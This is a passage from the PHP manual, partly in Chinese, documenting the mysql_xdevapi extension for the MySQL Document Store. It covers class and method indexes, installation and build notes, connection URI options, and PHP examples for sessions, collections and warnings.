    • Result::getAffectedItemsCount — Get affected row count
    • Result::getAutoIncrementValue — Get autoincremented value
    • Result::getGeneratedIds — Get generated ids
    • Result::getWarnings — Get warnings from last operation
    • Result::getWarningsCount — Get warning count from last operation
  • mysql_xdevapi\RowResult — RowResult class
    • RowResult::__construct — RowResult constructor
    • RowResult::fetchAll — Get all rows from result
    • RowResult::fetchOne — Get row from result
    • RowResult::getColumnsCount — Get column count
    • RowResult::getColumnNames — Get all column names
    • RowResult::getColumns — Get column metadata
    • RowResult::getWarnings — Get warnings from last operation
    • RowResult::getWarningsCount — Get warning count from last operation
  • mysql_xdevapi\Schema — Schema class
    • Schema::__construct — constructor
    • Schema::createCollection — Add collection to schema
    • Schema::dropCollection — Drop collection from schema
    • Schema::existsInDatabase — Check if exists in database
    • Schema::getCollection — Get collection from schema
    • Schema::getCollectionAsTable — Get collection table object
    • Schema::getCollections — Get all schema collections
    • Schema::getName — Get schema name
    • Schema::getSession — Get schema session
    • Schema::getTable — Get schema table
    • Schema::getTables — Get schema tables
  • mysql_xdevapi\SchemaObject — SchemaObject interface
    • SchemaObject::getSchema — Get schema object
  • mysql_xdevapi\Session — Session class
    • Session::close — Close session
    • Session::commit — Commit transaction
    • Session::__construct — Description constructor
    • Session::createSchema — Create new schema
    • Session::dropSchema — Drop a schema
    • Session::generateUUID — Get new UUID
    • Session::getDefaultSchema — Get default schema name
    • Session::getSchema — Get a new schema object
    • Session::getSchemas — Get the schemas
    • Session::getServerVersion — Get server version
    • Session::listClients — Get client list
    • Session::quoteName — Add quotes
    • Session::releaseSavepoint — Release set savepoint
    • Session::rollback — Rollback transaction
    • Session::rollbackTo — Rollback transaction to savepoint
    • Session::setSavepoint — Create savepoint
    • Session::sql — Execute SQL query
    • Session::startTransaction — Start transaction
  • mysql_xdevapi\SqlStatement — SqlStatement class
    • SqlStatement::bind — Bind statement parameters
    • SqlStatement::__construct — Description constructor
    • SqlStatement::execute — Execute the operation
    • SqlStatement::getNextResult — Get next result
    • SqlStatement::getResult — Get result
    • SqlStatement::hasMoreResults — Check for more results
  • mysql_xdevapi\SqlStatementResult — SqlStatementResult class
    • SqlStatementResult::__construct — Description constructor
    • SqlStatementResult::fetchAll — Get all rows from result
    • SqlStatementResult::fetchOne — Get single row
    • SqlStatementResult::getAffectedItemsCount — Get affected row count
    • SqlStatementResult::getColumnsCount — Get column count
    • SqlStatementResult::getColumnNames — Get column names
    • SqlStatementResult::getColumns — Get columns
    • SqlStatementResult::getGeneratedIds — Get generated ids
    • SqlStatementResult::getLastInsertId — Get last insert id
    • SqlStatementResult::getWarnings — Get warnings from last operation
    • SqlStatementResult::getWarningsCount — Get warning count from last operation
    • SqlStatementResult::hasData — Check if result has data
    • SqlStatementResult::nextResult — Get next result
  • mysql_xdevapi\Statement — Statement class
    • Statement::__construct — Description constructor
    • Statement::getNextResult — Get next result
    • Statement::getResult — Get result
    • Statement::hasMoreResults — Check if more results
  • mysql_xdevapi\Table — Table class
    • Table::__construct — Table constructor
    • Table::count — Get row count
    • Table::delete — Delete rows from table
    • Table::existsInDatabase — Check if table exists in database
    • Table::getName — Get table name
    • Table::getSchema — Get table schema
    • Table::getSession — Get table session
    • Table::insert — Insert table rows
    • Table::isView — Check if table is view
    • Table::select — Select rows from table
    • Table::update — Update rows in table
  • mysql_xdevapi\TableDelete — TableDelete class
    • TableDelete::bind — Bind delete query parameters
    • TableDelete::__construct — TableDelete constructor
    • TableDelete::execute — Execute delete query
    • TableDelete::limit — Limit deleted rows
    • TableDelete::orderby — Set delete sort criteria
    • TableDelete::where — Set delete search condition
  • mysql_xdevapi\TableInsert — TableInsert class
    • TableInsert::__construct — TableInsert constructor
    • TableInsert::execute — Execute insert query
    • TableInsert::values — Add insert row values
  • mysql_xdevapi\TableSelect — TableSelect class
    • TableSelect::bind — Bind select query parameters
    • TableSelect::__construct — TableSelect constructor
    • TableSelect::execute — Execute select statement
    • TableSelect::groupBy — Set select grouping criteria
    • TableSelect::having — Set select having condition
    • TableSelect::limit — Limit selected rows
    • TableSelect::lockExclusive — Execute EXCLUSIVE LOCK
    • TableSelect::lockShared — Execute SHARED LOCK
    • TableSelect::offset — Set limit offset
    • TableSelect::orderby — Set select sort criteria
    • TableSelect::where — Set select search condition
  • mysql_xdevapi\TableUpdate — TableUpdate class
    • TableUpdate::bind — Bind update query parameters
    • TableUpdate::__construct — TableUpdate constructor
    • TableUpdate::execute — Execute update query
    • TableUpdate::limit — Limit update row count
    • TableUpdate::orderby — Set sorting criteria
    • TableUpdate::set — Add field to be updated
    • TableUpdate::where — Set search filter
  • mysql_xdevapi\Warning — Warning class
    • Warning::__construct — Warning constructor

User Contributed Notes

There are no user contributed notes for this page.


简介

This extension provides access to the MySQL Document Store via the X DevAPI. The X DevAPI is a common API provided by multiple MySQL Connectors providing easy access to relational tables as well as collections of documents, which are represented in JSON, from a API with CRUD-style operations.

The X DevAPI uses the X Protocol, the new generation client-server protocol of the MySQL 8.0 server.

For general information about the MySQL Document Store, please refer to the » MySQL Document Store chapter in the MySQL manual.

User Contributed Notes

There are no user contributed notes for this page.


安装/配置

Table of Contents

  • 需求
  • 安装
  • 运行时配置
  • Building / Compiling From Source

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension requires a MySQL 8+ server with the X plugin enabled (default).

Prerequisite libraries for compiling this extension are: Boost (1.53.0 or higher), OpenSSL, and Protobuf.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

An example installation procedure on Ubuntu 18.04 with PHP 7.2:

// Dependencies
$ apt install build-essential libprotobuf-dev libboost-dev openssl protobuf-compiler liblz4-tool zstd

// PHP with the desired extensions; php7.2-dev is required to compile
$ apt install php7.2-cli php7.2-dev php7.2-mysql php7.2-pdo php7.2-xml

// Compile the extension
$ pecl install mysql_xdevapi

The pecl install command does not enable PHP extensions (by default) and enabling PHP extensions can be done in several ways. Another PHP 7.2 on Ubuntu 18.04 example:

// Create its own ini file
$ echo "extension=mysql_xdevapi.so" > /etc/php/7.2/mods-available/mysql_xdevapi.ini

// Use the 'phpenmod' command (note: it's Debian/Ubuntu specific)
$ phpenmod -v 7.2 -s ALL mysql_xdevapi

// A 'phpenmod' alternative is to manually symlink it
// $ ln -s /etc/php/7.2/mods-available/mysql_xdevapi.ini /etc/php/7.2/cli/conf.d/20-mysql_xdevapi.ini

// Let's see which MySQL extensions are enabled now
$ php -m |grep mysql

mysql_xdevapi
mysqli
mysqlnd
pdo_mysql

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/mysql_xdevapi.

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Mysql_xdevapi 配置选项
名字 | 默认 | 可修改范围 | 更新日志
xmysqlnd.collect_memory_statistics | 0 | PHP_INI_SYSTEM |
xmysqlnd.collect_statistics | 1 | PHP_INI_ALL |
xmysqlnd.debug |  | PHP_INI_SYSTEM |
xmysqlnd.mempool_default_size | 16000 | PHP_INI_ALL |
xmysqlnd.net_read_timeout | 31536000 | PHP_INI_SYSTEM |
xmysqlnd.trace_alloc |  | PHP_INI_SYSTEM |

这是配置指令的简短说明。

xmysqlnd.collect_memory_statistics int

xmysqlnd.collect_statistics int

xmysqlnd.debug string

xmysqlnd.mempool_default_size int

xmysqlnd.net_read_timeout int

xmysqlnd.trace_alloc string

User Contributed Notes

There are no user contributed notes for this page.


Building / Compiling From Source

Considerations for compiling this extension from source.

  • The extension name is 'mysql_xdevapi', so use --enable-mysql-xdevapi.

  • Boost: required, optionally use the --with-boost=DIR configure option or set the MYSQL_XDEVAPI_BOOST_ROOT environment variable. Only the boost header files are required; not the binaries.

  • Google Protocol Buffers (protobuf): required, optionally use the --with-protobuf=DIR configure option or set the MYSQL_XDEVAPI_PROTOBUF_ROOT environment variable.

    Optionally use make protobufs to generate protobuf files (*.pb.cc/.h), and make clean-protobufs to delete generate protobuf files.

    Windows specific protobuf note: depending on your environment, the static library with a multi-threaded DLL runtime may be needed. To prepare, use the following options: -Dprotobuf_MSVC_STATIC_RUNTIME=OFF -Dprotobuf_BUILD_SHARED_LIBS=OFF

  • Google Protocol Buffers / protocol compiler (protoc): required, ensure that proper 'protoc' is available in the PATH while building. It is especially important as Windows PHP SDK batch scripts may overwrite the environment.

  • Bison: required, and available from the PATH.

    Windows specific bison note: we strongly recommended that bison delivered with the chosen PHP SDKis used else an error similar to "zend_globals_macros.h(39): error C2375: 'zendparse': redefinition; different linkage Zend/zend_language_parser.h(214): note: see declaration of 'zendparse'" may be the result. Also, Windows PHP SDK batch scripts may overwrite the environment.

  • Windows Specific Notes: To prepare the environment, see the official Windows build documentation for » the current SDK.

    We recommend using the backslash '\\' instead of a slash '/' for all paths.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

MYSQLX_CLIENT_SSL (int)
MYSQLX_TYPE_DECIMAL (int)
MYSQLX_TYPE_TINY (int)
MYSQLX_TYPE_SHORT (int)
MYSQLX_TYPE_SMALLINT (int)
MYSQLX_TYPE_MEDIUMINT (int)
MYSQLX_TYPE_INT (int)
MYSQLX_TYPE_BIGINT (int)
MYSQLX_TYPE_LONG (int)
MYSQLX_TYPE_FLOAT (int)
MYSQLX_TYPE_DOUBLE (int)
MYSQLX_TYPE_NULL (int)
MYSQLX_TYPE_TIMESTAMP (int)
MYSQLX_TYPE_LONGLONG (int)
MYSQLX_TYPE_INT24 (int)
MYSQLX_TYPE_DATE (int)
MYSQLX_TYPE_TIME (int)
MYSQLX_TYPE_DATETIME (int)
MYSQLX_TYPE_YEAR (int)
MYSQLX_TYPE_NEWDATE (int)
MYSQLX_TYPE_ENUM (int)
MYSQLX_TYPE_SET (int)
MYSQLX_TYPE_TINY_BLOB (int)
MYSQLX_TYPE_MEDIUM_BLOB (int)
MYSQLX_TYPE_LONG_BLOB (int)
MYSQLX_TYPE_BLOB (int)
MYSQLX_TYPE_VAR_STRING (int)
MYSQLX_TYPE_STRING (int)
MYSQLX_TYPE_CHAR (int)
MYSQLX_TYPE_BYTES (int)
MYSQLX_TYPE_INTERVAL (int)
MYSQLX_TYPE_GEOMETRY (int)
MYSQLX_TYPE_JSON (int)
MYSQLX_TYPE_NEWDECIMAL (int)
MYSQLX_TYPE_BIT (int)
MYSQLX_LOCK_DEFAULT (int)
MYSQLX_LOCK_NOWAIT (int)
MYSQLX_LOCK_SKIP_LOCKED (int)

User Contributed Notes

There are no user contributed notes for this page.


更新日志

对本扩展的类／函数／方法有以下更新。

General Changelog for the ext/mysql_xdevapi extension

This changelog references the ext/mysql_xdevapi extension.

Global ext/mysql_xdevapi changes

版本 | 说明
8.0.28 | Removed TLSv1 and TLSv1.1 support. The values "TLSv1", "TLSv1.0", and "TLSv1.1" are now considered invalid for the "tls-versions" connection attribute.
8.0.26 | Deprecated TLSv1 and TLSv1.1 support.

User Contributed Notes

There are no user contributed notes for this page.


示例

The central entry point to the X DevAPI is the mysql_xdevapi\getSession() function, which receives a URI to a MySQL 8.0 Server and returns a mysql_xdevap\Session object.

Example #1 Connecting to a MySQL Server

<?php
try {
$session = mysql_xdevapi\getSession("mysqlx://user:password@host");
} catch(Exception $e) {
die("Connection could not be established: " . $e->getMessage());
}

// ... use $session
?>

The session provides full access to the API. For a new MySQL Server installation, the first step is to create a database schema with a collection to store data:

Example #2 Creating a Schema and Collection on the MySQL Server

<?php
$schema = $session->createSchema("test");
$collection = $schema->createCollection("example");
?>

When storing data, typically json_encode() is used to encode the data into JSON, which can then be stored inside a collection.

The following example stores data into the collection we created earlier, and then retrieve parts of it again.

Example #3 Storing and Retrieving Data

<?php
$marco = [
"name" => "Marco",
"age" => 19,
"job" => "Programmer"
];
$mike = [
"name" => "Mike",
"age" => 39,
"job" => "Manager"
];

$schema = $session->getSchema("test");
$collection = $schema->getCollection("example");

$collection->add($marco, $mike)->execute();

var_dump($collection->find("name = 'Mike'")->execute()->fetchOne());
?>

以上示例的输出类似于：

array(4) {
  ["_id"]=>
  string(28) "00005ad66aaf0000000000000003"
  ["age"]=>
  int(39)
  ["job"]=>
  string(7) "Manager"
  ["name"]=>
  string(4) "Mike"
}

The example demonstrates that the MySQL Server adds an extra field named _id, which serves as primary key to the document.

The example also demonstrates that retrieved data is sorted alphabetically. That specific order comes from the efficient binary storage inside the MySQL server, but it should not be relied upon. Refer to the MySQL JSON datatype documentation for details.

Optionally use PHP's iterators fetch multiple documents:

Example #4 Fetching and Iterating Multiple Documents

<?php
$result = $collection->find()->execute();
foreach ($result as $doc) {
echo "${doc["name"]} is a ${doc["job"]}.\n";
}
?>

以上示例的输出类似于：

Marco is a Programmer.
Mike is a Manager.

User Contributed Notes

There are no user contributed notes for this page.


Mysql_xdevapi 函数

Table of Contents

  • expression — Bind prepared statement variables as parameters
  • getSession — Connect to a MySQL server

User Contributed Notes

There are no user contributed notes for this page.


Bind prepared statement variables as parameters

  • ? Mysql_xdevapi 函数
  • getSession ?
  • PHP Manual
  • Mysql_xdevapi 函数
  • Bind prepared statement variables as parameters

expression

(No version information available, might only be in Git)

expression — Bind prepared statement variables as parameters

说明

mysql_xdevapi\expression(string $expression): object

Warning

本函数还未编写文档，仅有参数列表。

参数

expression

返回值

示例

Example #1 mysql_xdevapi\Expression() example

<?php
$expression = mysql_xdevapi\Expression("[age,job]");

$res = $coll->find("age > 30")->fields($expression)->limit(3)->execute();
$data = $res->fetchAll();

print_r($data);
?>

以上示例的输出类似于：

<?php

User Contributed Notes

There are no user contributed notes for this page.


Connect to a MySQL server

  • ? expression
  • mysql_xdevapi\BaseResult ?
  • PHP Manual
  • Mysql_xdevapi 函数
  • Connect to a MySQL server

getSession

(No version information available, might only be in Git)

getSession — Connect to a MySQL server

说明

mysql_xdevapi\getSession(string $uri): mysql_xdevapi\Session

Connects to the MySQL server.

参数

uri

The URI to the MySQL server, such as mysqlx://user:password@host.

URI format:

scheme://[user[:[password]]@]target[:port][?attribute1=value1&attribute2=value2...

  • scheme: required, the connection protocol

    In mysql_xdevapi it is always 'mysqlx' (for X Protocol)

  • user: optional, the MySQL user account for authentication

  • password: optional, the MySQL user's password for authentication

  • target: required, the server instance the connection refers to:

    * TCP connection (host name, IPv4 address, or IPv6 address)

    * Unix socket path (local file path)

    * Windows named-pipe (local file path)

  • port: optional, network port of MySQL server.

    by default port for X Protocol is 33060

  • ?attribute=value: this element is optional and specifies a data dictionary that contains different options, including:

    • The auth (authentication mechanism) attribute as it relates to encrypted connections. For additional information, see » Command Options for Encrypted Connections. The following 'auth' values are supported: plain, mysql41, external, and sha256_mem.

    • The connect-timeout attribute affects the connection and not subsequent operations. It is set per connection whether on a single or multiple hosts.

      Pass in a positive integer to define the connection timeout in seconds, or pass in 0 (zero) to disable the timeout (infinite). Not defining connect-timeout uses the default value of 10.

      Related, the MYSQLX_CONNECTION_TIMEOUT (timeout in seconds) and MYSQLX_TEST_CONNECTION_TIMEOUT (used while running tests) environment variables can be set and used instead of connect-timeout in the URI. The connect-timeout URI option has precedence over these environment variables.

    • The optional compression attribute accepts these values: preferred (client negotiates with server to find a supported algorithm; connection is uncompressed if a mutually supported algorithm is not found), required (like "preferred", but connection is terminated if a mutually supported algorithm is not found), or disabled (connection is uncompressed). Defaults to preferred.

      This option was added in version 8.0.20.

    • The optional compression-algorithms attribute defines the desired compression algorithms (and their preferred usage order): zstd_stream (alias: zstd), lz4_message (alias: lz4), or deflate_stream (aliases: deflate or zlib). By default, the order used (depending on system availability) is lz4_message, zstd_stream, then deflate_stream. For example, passing in compression-algorithms=[lz4,zstd_stream] uses lz4 if it's available, otherwise zstd_stream is used. If both are unavailable then behavior depends on the compression value e.g., if compression=required then it'll fail with an error.

      This option was added in version 8.0.22.

Example #1 URI examples

mysqlx://foobar
mysqlx://root@localhost?socket=%2Ftmp%2Fmysqld.sock%2F
mysqlx://foo:bar@localhost:33060
mysqlx://foo:bar@localhost:33160?ssl-mode=disabled
mysqlx://foo:bar@localhost:33260?ssl-mode=required
mysqlx://foo:bar@localhost:33360?ssl-mode=required&auth=mysql41
mysqlx://foo:bar@(/path/to/socket)
mysqlx://foo:bar@(/path/to/socket)?auth=sha256_mem
mysqlx://foo:bar@[localhost:33060, 127.0.0.1:33061]
mysqlx://foobar?ssl-ca=(/path/to/ca.pem)&ssl-crl=(/path/to/crl.pem)
mysqlx://foo:bar@[localhost:33060, 127.0.0.1:33061]?ssl-mode=disabled
mysqlx://foo:bar@localhost:33160/?connect-timeout=0
mysqlx://foo:bar@localhost:33160/?connect-timeout=10&compression=required
mysqlx://foo:bar@localhost:33160/?connect-timeout=10&compression=required&compression-algorithms=[lz4,zstd_stream]

For related information, see MySQL Shell's » Connecting using a URI String.

返回值

A Session object.

错误／异常

A connection failure throws an Exception.

示例

Example #2 mysql_xdevapi\getSession() example

<?php
try {
$session = mysql_xdevapi\getSession("mysqlx://user:password@host");
} catch(Exception $e) {
die("Connection could not be established: " . $e->getMessage());
}

$schemas = $session->getSchemas();
print_r($schemas);

$mysql_version = $session->getServerVersion();
print_r($mysql_version);

var_dump($collection->find("name = 'Alfred'")->execute()->fetchOne());
?>

以上示例的输出类似于：

Array
(
    [0] => mysql_xdevapi\Schema Object
        (
            [name] => helloworld
        )
    [1] => mysql_xdevapi\Schema Object
        (
            [name] => information_schema
        )
    [2] => mysql_xdevapi\Schema Object
        (
            [name] => mysql
        )
    [3] => mysql_xdevapi\Schema Object
        (
            [name] => performance_schema
        )
    [4] => mysql_xdevapi\Schema Object
        (
            [name] => sys
        )
)

80012

array(4) {
  ["_id"]=>
  string(28) "00005ad66abf0001000400000003"
  ["age"]=>
  int(42)
  ["job"]=>
  string(7) "Butler"
  ["name"]=>
  string(4) "Alfred"
}

User Contributed Notes

There are no user contributed notes for this page.


BaseResult interface

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\BaseResult {
/* 方法 */
abstract public getWarnings(): array
abstract public getWarningsCount(): int
}

Table of Contents

  • BaseResult::getWarnings — Fetch warnings from last operation
  • BaseResult::getWarningsCount — Fetch warning count from last operation

User Contributed Notes

There are no user contributed notes for this page.


Fetch warnings from last operation

  • ? mysql_xdevapi\BaseResult
  • BaseResult::getWarningsCount ?
  • PHP Manual
  • mysql_xdevapi\BaseResult
  • Fetch warnings from last operation

BaseResult::getWarnings

(No version information available, might only be in Git)

BaseResult::getWarnings — Fetch warnings from last operation

说明

abstract public mysql_xdevapi\BaseResult::getWarnings(): array

Fetches warnings generated by MySQL server's last operation.

参数

此函数没有参数。

返回值

An array of Warning objects from the last operation. Each object defines an error 'message', error 'level', and error 'code'. An empty array is returned if no errors are present.

示例

Example #1 mysql_xdevapi\RowResult::getWarnings() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();
$warnings = $res->getWarnings();

print_r($warnings);
?>

以上示例的输出类似于：

Array
(
    [0] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
    [1] => mysql_xdevapi\Warning Object
        (
            [message] => Division by 0
            [level] => 2
            [code] => 1365
        )
)

User Contributed Notes

There are no user contributed notes for this page.


Fetch warning count from last operation

  • ? BaseResult::getWarnings
  • mysql_xdevapi\Client ?
  • PHP Manual
  • mysql_xdevapi\BaseResult
  • Fetch warning count from last operation

BaseResult::getWarningsCount

(No version information available, might only be in Git)

BaseResult::getWarningsCount — Fetch warning count from last operation

说明

abstract public mysql_xdevapi\BaseResult::getWarningsCount(): int

Returns the number of warnings raised by the last operation. Specifically, these warnings are raised by the MySQL server.

参数

此函数没有参数。

返回值

The number of warnings from the last operation.

示例

Example #1 mysql_xdevapi\RowResult::getWarningsCount() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS foo")->execute();
$session->sql("CREATE DATABASE foo")->execute();
$session->sql("CREATE TABLE foo.test_table(x int)")->execute();

$schema = $session->getSchema("foo");
$table = $schema->getTable("test_table");

$table->insert(['x'])->values([1])->values([2])->execute();

$res = $table->select(['x/0 as bad_x'])->execute();

echo $res->getWarningsCount();
?>

以上示例的输出类似于：

2

User Contributed Notes

There are no user contributed notes for this page.


Client class

(No version information available, might only be in Git)

简介

Provides access to the connection pool.

类摘要

class mysql_xdevapi\Client {
/* 方法 */
public close(): bool
public getSession(): mysql_xdevapi\Session
}

Table of Contents

  • mysql_xdevapi\Client::close — Close client
  • Client::__construct — Client constructor
  • Client::getClient — Get client session

User Contributed Notes

There are no user contributed notes for this page.


Close client

  • ? mysql_xdevapi\Client
  • Client::__construct ?
  • PHP Manual
  • mysql_xdevapi\Client
  • Close client

mysql_xdevapi\Client::close

(No version information available, might only be in Git)

mysql_xdevapi\Client::close — Close client

说明

public mysql_xdevapi\Client::close(): bool

Close all client connections with the server.

参数

此函数没有参数。

返回值

true if connections are closed.

User Contributed Notes

There are no user contributed notes for this page.


Client constructor

  • ? mysql_xdevapi\Client::close
  • Client::getClient ?
  • PHP Manual
  • mysql_xdevapi\Client
  • Client constructor

Client::__construct

(No version information available, might only be in Git)

Client::__construct — Client constructor

说明

private mysql_xdevapi\Client::__construct()

Construct a client object.

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\Client::__construct() example

<?php
$pooling_options = '{
"enabled": true,
"maxSize": 10,
"maxIdleTime": 3600,
"queueTimeOut": 1000
}';
$client = mysql_xdevapi\getClient($connection_uri, $pooling_options);
$session = $client->getSession();

User Contributed Notes

There are no user contributed notes for this page.


Get client session

  • ? Client::__construct
  • mysql_xdevapi\Collection ?
  • PHP Manual
  • mysql_xdevapi\Client
  • Get client session

Client::getClient

(No version information available, might only be in Git)

Client::getClient — Get client session

说明

public mysql_xdevapi\Client::getSession(): mysql_xdevapi\Session

Get session associated with the client.

参数

此函数没有参数。

返回值

A Session object.

User Contributed Notes

There are no user contributed notes for this page.


Collection class

(PECL mysql-xdevapi >= 8.0.11)

简介

类摘要

class mysql_xdevapi\Collection implements mysql_xdevapi\SchemaObject {
/* 属性 */
public $name;
/* 方法 */
public add(mixed $document): mysql_xdevapi\CollectionAdd
public addOrReplaceOne(string $id, string $doc): mysql_xdevapi\Result
public count(): int
public createIndex(string $index_name, string $index_desc_json): void
public dropIndex(string $index_name): bool
public existsInDatabase(): bool
public find(string $search_condition = ?): mysql_xdevapi\CollectionFind
public getName(): string
public getOne(string $id): Document
public getSchema(): Schema Object
public getSession(): Session
public modify(string $search_condition): mysql_xdevapi\CollectionModify
public remove(string $search_condition): mysql_xdevapi\CollectionRemove
public removeOne(string $id): mysql_xdevapi\Result
public replaceOne(string $id, string $doc): mysql_xdevapi\Result
}

属性

name

Table of Contents

  • Collection::add — Add collection document
  • Collection::addOrReplaceOne — Add or replace collection document
  • Collection::__construct — Collection constructor
  • Collection::count — Get document count
  • Collection::createIndex — Create collection index
  • Collection::dropIndex — Drop collection index
  • Collection::existsInDatabase — Check if collection exists in database
  • Collection::find — Search for document
  • Collection::getName — Get collection name
  • Collection::getOne — Get one document
  • Collection::getSchema — Get schema object
  • Collection::getSession — Get session object
  • Collection::modify — Modify collection documents
  • Collection::remove — Remove collection documents
  • Collection::removeOne — Remove one collection document
  • Collection::replaceOne — Replace one collection document

User Contributed Notes

There are no user contributed notes for this page.


Add collection document

  • ? mysql_xdevapi\Collection
  • Collection::addOrReplaceOne ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Add collection document

Collection::add

(No version information available, might only be in Git)

Collection::add — Add collection document

说明

public mysql_xdevapi\Collection::add(mixed $document): mysql_xdevapi\CollectionAdd

Triggers the insertion of the given document(s) into the collection, and multiple variants of this method are supported. Options include:

  1. Add a single document as a JSON string.

  2. Add a single document as an array as: [ 'field' => 'value', 'field2' => 'value2' ... ]

  3. A mix of both, and multiple documents can be added in the same operation.

参数

document

One or multiple documents, and this can be either JSON or an array of fields with their associated values. This cannot be an empty array.

The MySQL server automatically generates unique _id values for each document (recommended), although this can be manually added as well. This value must be unique as otherwise the add operation will fail.

返回值

A CollectionAdd object. Use execute() to return a Result that can be used to query the number of affected items, the number warnings generated by the operation, or to fetch a list of generated IDs for the inserted documents.

示例

Example #1 mysql_xdevapi\Collection::add() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

// Add two documents
$collection->add('{"name": "Fred", "age": 21, "job": "Construction"}')->execute();
$collection->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

// Add two documents using a single JSON object
$result = $collection->add(
'{"name": "Bernie",
"jobs": [{"title":"Cat Herder","Salary":42000}, {"title":"Father","Salary":0}],
"hobbies": ["Sports","Making cupcakes"]}',
'{"name": "Jane",
"jobs": [{"title":"Scientist","Salary":18000}, {"title":"Mother","Salary":0}],
"hobbies": ["Walking","Making pies"]}')->execute();

// Fetch a list of generated ID's from the last add()
$ids = $result->getGeneratedIds();
print_r($ids);
?>

以上示例的输出类似于：

Array
(
    [0] => 00005b6b53610000000000000056
    [1] => 00005b6b53610000000000000057
)

注释

Note:

A unique _id is generated by MySQL Server 8.0 or higher, as demonstrated in the example. The _id field must be manually defined if using MySQL Server 5.7.

User Contributed Notes

cyork at echodreamz dot com 20-Aug-2018 08:51
Seems that (at least with MySQL 5.7.23) if you do not set an _id field in the array of items to "add", it fails with error...

 [HY000] Document is missing a required field

Adding "_id" => xxxx does resolve the issue.
jcastro at eftec dot cl 09-Aug-2018 02:14
It returns a mysql_xdevapi\CollectionAdd instead of a mysql_xdevapi\Result


Add or replace collection document

  • ? Collection::add
  • Collection::__construct ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Add or replace collection document

Collection::addOrReplaceOne

(No version information available, might only be in Git)

Collection::addOrReplaceOne — Add or replace collection document

说明

public mysql_xdevapi\Collection::addOrReplaceOne(string $id, string $doc): mysql_xdevapi\Result

Add a new document, or replace a document if it already exists.

Here are several scenarios for this method:

  • If neither the id or any unique key values conflict with any document in the collection, then the document is added.

  • If the id does not match any document but one or more unique key values conflict with a document in the collection, then an error is raised.

  • If id matches an existing document and no unique keys are defined for the collection, then the document is replaced.

  • If id matches an existing document, and either all unique keys in the replacement document match that same document or they don't conflict with any other documents in the collection, then the document is replaced.

  • If id matches an existing document and one or more unique keys match a different document from the collection, then an error is raised.

参数

id

This is the filter id. If this id or any other field that has a unique index already exists in the collection, then it will update the matching document instead.

By default, this id is automatically generated by MySQL Server when the record was added, and is referenced as a field named '_id'.

doc

This is the document to add or replace, which is a JSON string.

返回值

A Result object.

示例

Example #1 mysql_xdevapi\Collection::addOrReplaceOne() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

// Using add()
$result = $collection->add('{"name": "Wilma", "age": 23, "job": "Teacher"}')->execute();

// Using addOrReplaceOne()
// Note: we're passing in a known _id value here
$result = $collection->addOrReplaceOne('00005b6b53610000000000000056', '{"name": "Fred", "age": 21, "job": "Construction"}');

?>

User Contributed Notes

There are no user contributed notes for this page.


Collection constructor

  • ? Collection::addOrReplaceOne
  • Collection::count ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Collection constructor

Collection::__construct

(No version information available, might only be in Git)

Collection::__construct — Collection constructor

说明

private mysql_xdevapi\Collection::__construct()

Construct a Collection object.

参数

此函数没有参数。

示例

Example #1 mysql_xdevapi\Collection::getOne() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");

$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$collection = $schema->createCollection("people");

$result = $collection->add('{"name": "Alfred", "age": 42, "job": "Butler"}')->execute();

// A unique _id is (by default, and recommended) generated by MySQL Server
// This retrieves the generated _id's; only one in this example, so $ids[0]
$ids = $result->getGeneratedIds();
$alfreds_id = $ids[0];

// ...

print_r($alfreds_id);
print_r($collection->getOne($alfreds_id));
?>

以上示例的输出类似于：

00005b6b536100000000000000b1

Array
(
    [_id] => 00005b6b536100000000000000b1
    [age] => 42
    [job] => Butler
    [name] => Alfred
)

User Contributed Notes

There are no user contributed notes for this page.


Get document count

  • ? Collection::__construct
  • Collection::createIndex ?
  • PHP Manual
  • mysql_xdevapi\Collection
  • Get document count

Collection::count

(No version information available, might only be in Git)

Collection::count — Get document count

说明

public mysql_xdevapi\Collection::count(): int

This functionality is similar to a SELECT COUNT(*) SQL operation against the MySQL server for the current schema and collection. In other words, it counts the number of documents in the collection.

参数

此函数没有参数。

返回值

The number of documents in the collection.

示例

Example #1 mysql_xdevapi\Collection::count() example

<?php
$session = mysql_xdevapi\getSession("mysqlx://user:password@localhost");
$session->sql("DROP DATABASE IF EXISTS addressbook")->execute();
$session->sql("CREATE DATABASE addressbook")->execute();

$schema = $session->getSchema("addressbook");
$create = $schema->createCollection("people");

$collection = $schema->getCollection("people");

$result = $collection
->add(
'{"name": "Bernie",
"jobs": [
{"title":"Cat Herder","Salary":42000},
